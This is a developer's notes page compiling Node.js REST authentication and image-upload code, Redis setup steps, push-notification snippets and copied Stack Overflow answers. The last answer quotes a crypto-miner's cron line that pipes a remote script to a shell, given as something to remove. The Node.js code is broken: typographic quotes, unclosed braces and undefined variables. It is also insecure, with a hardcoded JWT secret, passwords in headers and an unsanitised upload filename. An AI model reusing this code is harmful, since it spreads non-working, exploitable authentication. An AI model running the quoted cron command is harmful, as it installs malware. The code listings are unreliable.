Considerable matters when we write API

1. Scalability of the architecture and distributed systems

-response time ,user base,load balancer,master slave Databse

2.Multiple platform ,WEB and Mobile

3.Same account can be used with different devices

-data sync if  only any updates on the respective account

4.Avoid unwanted requests to the DB

-Maintaining version number to verify any new updates

5.Well performance using latest technologies such as caching systems

-Redis cache

-response time ,user base

 

 

 

 

 

Advertisements

NodeJS ,Restful API build authentication for multiple devices

1.please install express MVC by using the following url

https://www.npmjs.com/package/express-mvc-generator

2. build a server listner that should work for API ,api_app.js
/**
*
* importing all necessary libraries
*/
var nodemailer = require(‘nodemailer’);
var passport = require(‘passport’);
var multer = require(‘multer’);
var bcrypt = require(‘bcrypt-nodejs’);
var async = require(‘async’);
var crypto = require(‘crypto’);
var express = require(‘express’),

glob = require(‘glob’),
mongoose = require(‘mongoose’);
require(‘./config/passport’)(passport);
var cors = require(‘cors’)
var app = express();
var bodyParser = require(‘body-parser’);
app.use(bodyParser.json()); // support json encoded bodies
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cors());
var mongoose = require(‘mongoose’);
var configDB = require(‘./config/database.js’);
//configuration ===============================================================
mongoose.connect(configDB.url);
var db = mongoose.connection;
db.on(‘error’, function () {
throw new Error(‘unable to connect to database at ‘ + config.db);
});

app.use(require(‘./app/controllers/apicontroller.js’))

// routes ======================================================================
require(‘./config/routes.js’)(app, passport); // load our routes and pass in our app and fully configured passport

port=8001;
//launch ======================================================================

var models = glob.sync(configDB.root + ‘/app/models/*.js’);
models.forEach(function (model) {
require(model);
});
var controllers = glob.sync(configDB.root + ‘/app/controllers/*.js’);
controllers.forEach(function (controller) {
require(controller)(app);
});

//catch 404 and forward to error handler
app.use(function (req, res, next) {
return res.json({success: 404, content: {message: ‘Sorry, page not found.’}});
});

app.use(function (req, res, next) {
//res.status(500).render(‘404’, {title: “Sorry, page not found”});
return res.json({success: 404, content: {message: ‘Sorry, page not found.’}});
});
exports = module.exports = app;

/**
*
* Establising a node js intance serivce
*
*/
app.listen(port, function () {
console.log(‘Express server listening on port ‘ + port);
});

 

 

 

2.  API ,apicontroller.js

var bcrypt = require(‘bcrypt-nodejs’);
var jwt = require(‘jsonwebtoken’);
var express = require(‘express’), approuter = express.Router(),
mongoose = require(‘mongoose’);
var bodyParser = require(‘body-parser’);
var morgan = require(‘morgan’);
var app = express();
var forEach = require(‘async-foreach’).forEach;
var util = require(‘util’);
var User = require(‘../.././app/models/myuser’); // get our mongoose model
var Client = require(‘../.././app/models/myclients’);
var Accesstoken = require(‘../.././app/models/myaccesstoken’);
var multipart = require(‘connect-multiparty’);
var multipartMiddleware = multipart();
var passport = require(‘passport’);
//create a route with prefix
var apiRoutes_mobile = express.Router();

module.exports = app.use(‘/mobil-api/v1’, apiRoutes_mobile);

;
/**
* initilizing JWT token based authnetication in order to protect the API access
* @param {string} devic_token
* @param string apikey
* @param {string} password
* @param String email
* @return {json}array
*/
apiRoutes_mobile.use(function (req, res, next) {
// check header or url parameters or post parameters for token
var token = req.body.token || req.query.token || req.headers[‘token’];
//get last parameter
var requested_url = req.path;
var requested_url_array = requested_url.split(‘/’);
var lastsegment = requested_url_array[requested_url_array.length – 1];

// decode token
if (token) {
// verifies secret and checks exp
jwt.verify(token, ‘ilovescotchyscotch’, function (err, decoded) {
if (err) {
return res.json({success: false, content: {message: ‘Failed to authenticate token,please try again.’}});
} else {
// if everything is good, save to request for use in other routes
var apikey = req.body.apikey || req.query.apikey || req.headers[‘apikey’];
Accesstoken.count({$and: [{‘token’: token}, {‘user_id’: req.headers.user_id}, {‘clientId’: apikey}]}, function (err, clientdata) {
if (clientdata == 0) {
return res.json({success: false, content: {message: ‘Failed to authenticate token,please try again.’}});
} else {
req.decoded = decoded;
next();
}
}
);
}
});
} else if (req.path == “/auth” || req.path ==”/register”) {

next();
} else {
var err = new Error(‘Not Found’);
console.log(req.path);
return res.status(403).send({
success: false,
content: {message: ‘No token provided.’}
});
return res.status(404).send({
success: false,
content: {message: ‘Page not found.’}
});
}
});

apiRoutes_mobile.get(‘/test’, function (req, res) {
console.log(“test”);
});

/**
* tyhis is used to authenticate the user account
* @param string name
* @param string device_token
* @param string apikey
* @param string password
* @return JSON
*
*/
apiRoutes_mobile.post(‘/auth’, function (req, res) {
var clientId = req.headers.apikey
if (!req.headers.device_token)
return res.json({success: false, content: {message: “Please send the device token.”}});
if (!req.headers.apikey)
return res.json({success: false, content: {message: “Please send the API key.”}});
if (!req.headers.email)
return res.json({success: false, content: {message: “Please send the user email.”}});
if (!req.headers.password)
return res.json({success: false, content: {message: “Please send the password.”}});

Client.findOne({clientId: clientId}, function (err, client) {
if (err)
return res.json({success: false, content: {message: “Wrong API key”}});
console.log(client);
if (!client) {
return res.json({success: false, content: {message: “Wrong API key”}});
}
User.findOne({‘local.email’: req.headers.email}, function (err, user) {
//console.log(“test”);process.exit();
if (err)
throw err;

if (!user) {
console.log(“three”);
return res.json({success: false, content: {message: ‘Authentication failed. User not found.’}});
} else if (user) {
password = req.headers.password;
username = req.headers.email;

if (!bcrypt.compareSync(password, user.local.password)) {
// if password does not match

return res.json({success: false, content: {message: “Wrong password”}});
} else {

// if everything is OK, return null as the error // and the authenticated user
con_cat = req.headers.device_token + ” + req.headers.email
var token = jwt.sign(con_cat, ‘ilovescotchyscotch’, {
expiresInMinutes: 1440// expires in 24 hours
});
var accesstok = new Accesstoken({
‘clientId’: clientId, “token”: token, “device_token”: req.headers.device_token, ‘ip’: ”, ‘os’: “ios”, ‘user_id’: user._id
});
Accesstoken.findOne({$and: [{‘device_token’: req.headers.device_token}, {‘user_id’: user._id}]}, function (err, checkaccesstoken) {
if (err)
throw err;

if (!checkaccesstoken)
{
accesstok.save(function (err, row) {
if (err)
throw err;
// return the information including token as JSON
return res.json({
success: true,
content: {message: ‘Authentication success’,
token: token,
result: user, ‘profile_img’: profile_img}
});
});
} else {

checkaccesstoken.clientId = clientId;
checkaccesstoken.token = token;
checkaccesstoken.device_token = req.headers.device_token;
checkaccesstoken.ip = ‘198.168.1.20’;
checkaccesstoken.os = “ios”;
checkaccesstoken.user_id = user._id;
checkaccesstoken.save(function (err, row) {
if (err)
throw err;
// return the information including token as JSON
return res.json({
success: true,
content: {message: ‘Authentication success’,
token: token,
result: user, ‘profile_img’: ”}
});
});
}

});
}

}

});
});
});

Uploading images over REST API -Nodejs,expressJS by using multipart

//create a route with prefix

var app = express();

app.use(bodyParser.urlencoded({extended: false}));
app.use(bodyParser.json());
var apiroutes = express.Router();

var multipartMiddleware = multipart();

/**

This is the function we need to call over REST API

**/
apiroutes.post(‘/update-image’, multipartMiddleware, function (req, res) {

if (!req.body.files)
{
profileImage(req, function (result) {

return res.json({message: “updated successfully.”});

});

 

});

/**
* uploading images
* @param {type} req
* @param {type} callback
* @returns {undefined}
*/
function profileImage(req, callback) {
x = req.files.files;
if(x){
fs.readFile(x[‘path’], function (err, data) {
if (err)
return callback(0)
newPath = ‘./public/api-testimages/’ + req.headers.user_id + “”” + x[‘originalFilename’];
fs.writeFile(newPath, data, function (err) {
if (err)
callback(0);
return callback(newPath);
});
//dont forgot the delete the temp files.
});
}else{
callback(0);
}
}

 

 

in ur post man

image-uploading

Install Redis 2.6 on Amazon EC2 Linux AMI or CentOS

1. Install Linux updates, set time zones, followed by GCC and Make

sudo yum -y update
sudo ln -sf /usr/share/zoneinfo/America/Indianapolis \
/etc/localtime
sudo yum -y install gcc make

2. Download, Untar and Make Redis 2.6

wget http://redis.googlecode.com/files/redis-2.6.0-rc3.tar.gz
tar xzf redis-2.6.0-rc3.tar.gz
cd redis-2.6.0-rc3
make

3. Create Directories and Copy Redis Files

sudo mkdir /etc/redis /var/lib/redis
sudo cp src/redis-server src/redis-cli /usr/local/bin
sudo cp redis.conf /etc/redis

4. Configure Redis.Conf

sudo nano /etc/redis/redis.conf
[..]
daemonize yes
[..]
[..]
bind 127.0.0.1
[..]
[..]
dir /var/lib/redis
[..]

5. Download init Script

wget https://raw.github.com/saxenap/install-redis-amazon-linux-centos/master/redis-server

6. Move and Configure Redis-Server

Note: The redis-server to be moved below is the one downloaded in 5 above.

sudo mv redis-server /etc/init.d
sudo chmod 755 /etc/init.d/redis-server
sudo nano /etc/init.d/redis-server
redis="/usr/local/bin/redis-server"

7. Auto-Enable Redis-Server

sudo chkconfig --add redis-server
sudo chkconfig --level 345 redis-server on

8. Start Redis Server

sudo service redis-server start


Source url :http://codingsteps.com/install-redis-2-6-on-amazon-ec2-linux-ami-or-centos/

push notifications

Node js:

This is an easy basic implementation  about apple push notification by using node-js .

please get the apple certificate as well as the password from ios developer.

please create the following files

push_lib.js

var join = require(‘path’).join, pfx = join(__dirname, ‘Certificates.p12‘);

/*!
* Create a new gateway agent
*/

var apnagent = require(‘apnagent’), agent = module.exports = new apnagent.Agent();

/*!
* Configure agent
*/

agent.set(‘pfx file’, pfx).set(“passphrase”,’password‘).enable(‘sandbox’);

/*!
* Error Mitigation
*/

agent.on(‘message:error’, function (err, msg) {
switch (err.name) {
// This error occurs when Apple reports an issue parsing the message.
case ‘GatewayNotificationError’:
console.log(‘[message:error] GatewayNotificationError: %s’, err.message);

// The err.code is the number that Apple reports.
// Example: 8 means the token supplied is invalid or not subscribed
// to notifications for your application.
if (err.code === 8) {
console.log(‘ > %s’, msg.device().toString());
// In production you should flag this token as invalid and not
// send any futher messages to it until you confirm validity
}

break;

// This happens when apnagent has a problem encoding the message for transfer
case ‘SerializationError’:
console.log(‘[message:error] SerializationError: %s’, err.message);
break;

// unlikely, but could occur if trying to send over a dead socket
default:
console.log(‘[message:error] other error: %s’, err.message);
break;
}
});

/*!
* Make the connection
*/

agent.connect(function (err) {
// gracefully handle auth problems
if (err && err.name === ‘GatewayAuthorizationError’) {
console.log(‘Authentication Error: %s’, err.message);
process.exit(1);
}

// handle any other err (not likely)
else if (err) {
throw err;
}

// it worked!
var env = agent.enabled(‘sandbox’)
? ‘sandbox’
: ‘production’;

console.log(‘apnagent [%s] gateway connected’, env);
});

 

push_test.js

var agent = require(‘./push_lib’);
/*!
* Send message
*/
module.exports = “yourdevice token”;
var x=module.exports;
agent.createMessage()
.device(x)
.alert(‘Custom variables’)
.set(‘id_1’, 12345)
.set(‘id_2’, ‘abcdef’)
.send();

 

Source url :https://blog.engineyard.com/2013/developing-ios-push-notifications-nodejs

 

 

 

Laravel 5:

This is an easy basic implementation  about apple push notification by laravel 5 .

please get the apple certificate as well as the password from ios developer.

Run the follwoing command in order to geenrate pem file:

openssl pkcs12 -in Certificates.p12 -out my_private_key.pem -nodes

create a function :

function testPushNotification(){
PushNotification::app(‘appNameIOS’)
->to(‘c9bccca836e2ddeb153b3205f937cc212dd2fab295dd3f21807289ba33cd2970’)
->send(‘Hello World, i`m a push message from Audiochimp’);
}

 

riute.php

Route::get(‘/push’, ‘ClientController@testPushNotification’);

when we run baseurl/push we can get the notifcation

 

source url :https://github.com/davibennun/laravel-push-notification

Stack over flow

I’m using:

  • Python 3.4.2
  • PyMongo 3.0.2
  • mongolab running mongod 2.6.9
  • uWSGI 2.0.10
  • CherryPy 3.7.0
  • nginx 1.6.2

uWSGI start params:

--socket 127.0.0.1:8081 --daemonize --enable-threads --threads 2 --processes 2

I setup my MongoClient ONE time:

self.mongo_client = MongoClient('mongodb://user:pw@host.mongolab.com:port/mydb')
self.db = self.mongo_client['mydb']

I try and save a JSON dict to MongoDB:

result = self.db.jobs.insert_one(job_dict)

It works via a unit test that executes the same code path to mongodb. However when I execute via CherryPy and uWSGI using an HTTP POST, I get this:

pymongo.errors.ServerSelectionTimeoutError: No servers found yet

Why am I seeing this behavior when run via CherryPy and uWSGI? Is this perhaps the new thread model in PyMongo 3?

Update:

If I run without uWSGI and nginx by using the CherryPy built-in server, the insert_one() works.

Update 1/25 4:53pm EST:

After adding some debug in PyMongo, it appears that topology._update_servers() knows that the server_type = 2 for server ‘myserver-a.mongolab.com’. However server_description.known_servers() has the server_type = 0 for server ‘myserver.mongolab.com’

This leads to the following stack trace:

result = self.db.jobs.insert_one(job_dict)
File "/usr/local/lib/python3.4/site-packages/pymongo/collection.py", line 466, in insert_one
with self._socket_for_writes() as sock_info:
File "/usr/local/lib/python3.4/contextlib.py", line 59, in __enter__
return next(self.gen)
File "/usr/local/lib/python3.4/site-packages/pymongo/mongo_client.py", line 663, in _get_socket
server = self._get_topology().select_server(selector)
File "/usr/local/lib/python3.4/site-packages/pymongo/topology.py", line 121, in select_server
address))
File "/usr/local/lib/python3.4/site-packages/pymongo/topology.py", line 97, in select_servers
self._error_message(selector))
pymongo.errors.ServerSelectionTimeoutError: No servers found yet
 Answer

We’re investigating this problem, tracked in PYTHON-961. You may be able to work around the issue by passing connect=False when creating instances of MongoClient. That defers background connection until the first database operation is attempted, avoiding what I suspect is a race condition between spin up of MongoClient’s monitor thread and multiprocess forking.

 

 

 

 

 

2. I tried to close the tomcat using ./shutdown.sh from tomcat /bin directory. But found that the server was not closed properly. And thus I was unable to restart
My tomcat is running on port 8080

I want to kill the tomcat process running on 8080. I first want to have the list of processes running on a specific port (8080) in order to select which process to kill.

 

Answer:

This fuser 8080/tcp will print you PID of process bound on that port.

And this fuser -k 8080/tcp will kill that process.

Works on Linux only. More universal is use of lsof -i4 (or 6 for IPv6).

 

 

3.My Node.js script crashes because of a thrown ENOMEM (Out of memory) errnoException when using spawn.

 

Answer:

I had the same problem and as it turned out, my system had no swap space enabled. Check if this is the case by running the command free -m:

vagrant@vagrant-ubuntu-trusty-64:~$ free -m
             total       used       free     shared    buffers     cached
Mem:          2002        233       1769          0         24         91
-/+ buffers/cache:        116       1885
Swap:            0          0          0

Looking at the bottom row we can see we have a total of 0 bytes swap memory. Not good. Node can get pretty memory hungry and if no swap space is available when memory runs out, errors are bound to happen.

The method for adding a swap file varies between operating systems and distributions, but if you’re running Ubuntu like me you can follow these instructions on adding a swap file:

  1. sudo fallocate -l 4G /swapfile Create a 4 gigabyte swapfile
  2. sudo chmod 600 /swapfile Secure the swapfile by restricting access to root
  3. sudo mkswap /swapfile Mark the file as a swap space
  4. sudo swapon /swapfile Enable the swap

Source url:http://stackoverflow.com/questions/26193654/node-js-catch-enomem-error-thrown-after-spawn#

 

 

4.

jQuery $.ajax(), $.post sending “OPTIONS” as REQUEST_METHOD in Firefox

Having trouble with what I thought was a relatively simple jQuery plugin…

The plugin should fetch data from a php script via ajax to add options to a <select>. The ajax request is pretty generic:

$.ajax({
  url: o.url,
  type: 'post',
  contentType: "application/x-www-form-urlencoded",
  data: '{"method":"getStates", "program":"EXPLORE"}',
  success: function (data, status) {
    console.log("Success!!");
    console.log(data);
    console.log(status);
  },
  error: function (xhr, desc, err) {
    console.log(xhr);
    console.log("Desc: " + desc + "\nErr:" + err);
  }
});

This seems to work fine in Safari. In Firefox 3.5, the REQUEST_TYPE on the server is always ‘OPTIONS’, and the $_POST data does not appear. Apache logs the request as type ‘OPTIONS’:

::1 - - [08/Jul/2009:11:43:27 -0500] "OPTIONS sitecodes.php HTTP/1.1" 200 46

Why would this ajax call work in Safari, but not Firefox, and how do I fix it for Firefox?

 

Answer:

The reason for the error is the same origin policy. It only allows you to do XMLHTTPRequests to your own domain. See if you can use a JSONP callback instead:

$.getJSON( 'http://<url>/api.php?callback=?', function ( data ) { alert ( data ); } );
OR
I had same problem with sending requests to google maps, and solution is quite simple with jQuery 1.5 - for dataType use dataType: "jsonp

Source :http://stackoverflow.com/questions/1099787/jquery-ajax-post-sending-options-as-request-method-in-firefox






I’ve a for-loop I’m looping through.

I want to make a custom modal and wait for a response before continue it.

How can I achieve this? I know I’ve to wait for a callback.

var list = ['one','two','three'];
var x = 0;
var loopArray = function(arr) {
    customAlert(arr[x],function(){
        // set x to next item
        x++;

        // any more items in array? continue loop
        if(x < arr.length) {
            loopArray(arr);   
        }
    }); 
}

function customAlert(msg,callback) {
    // code to show your custom alert
    // in this case its just a console log
    console.log(msg);

    // do callback when ready
    callback();
}

// start 'loop'
loopArray(list);
Source urlhttp://stackoverflow.com/questions/14408718/wait-for-callback-before-continue-for-loop


 How can I kill minerd malware on an AWS EC2 instance?

I have an AWS EC2 instance running RHEL 7.2 which seems to have been hacked by a BitCoin CPU Miner. When I run ps -eo pcpu,args --sort=-%cpu | head, it shows that there is a CPU miner that’s taking up more than 90% of CPU utilization. ?

I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script –

  1. On monkeyoto‘s suggestion, I blocked all communication with the mining pool server – iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
  2. Removed the cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh from /var/spool/cron/root and /var/spool/cron/crontabs/root.
  3. Removed the directory /opt/yam.
  4. Removed /root/.ssh/KHK75NEOiq.
  5. Deleted the files /opt/minerd and /opt/KHK75NEOiq33.
  6. Stopped the minerd process – pkill minerd.
  7. Stopped ladyservice lady stop.

I ran ps -eo pcpu,args --sort=-%cpu | head, top -bn2 |sed -n '7,25'p and ps aux | grep minerd after that and the malware was nowhere to be seen.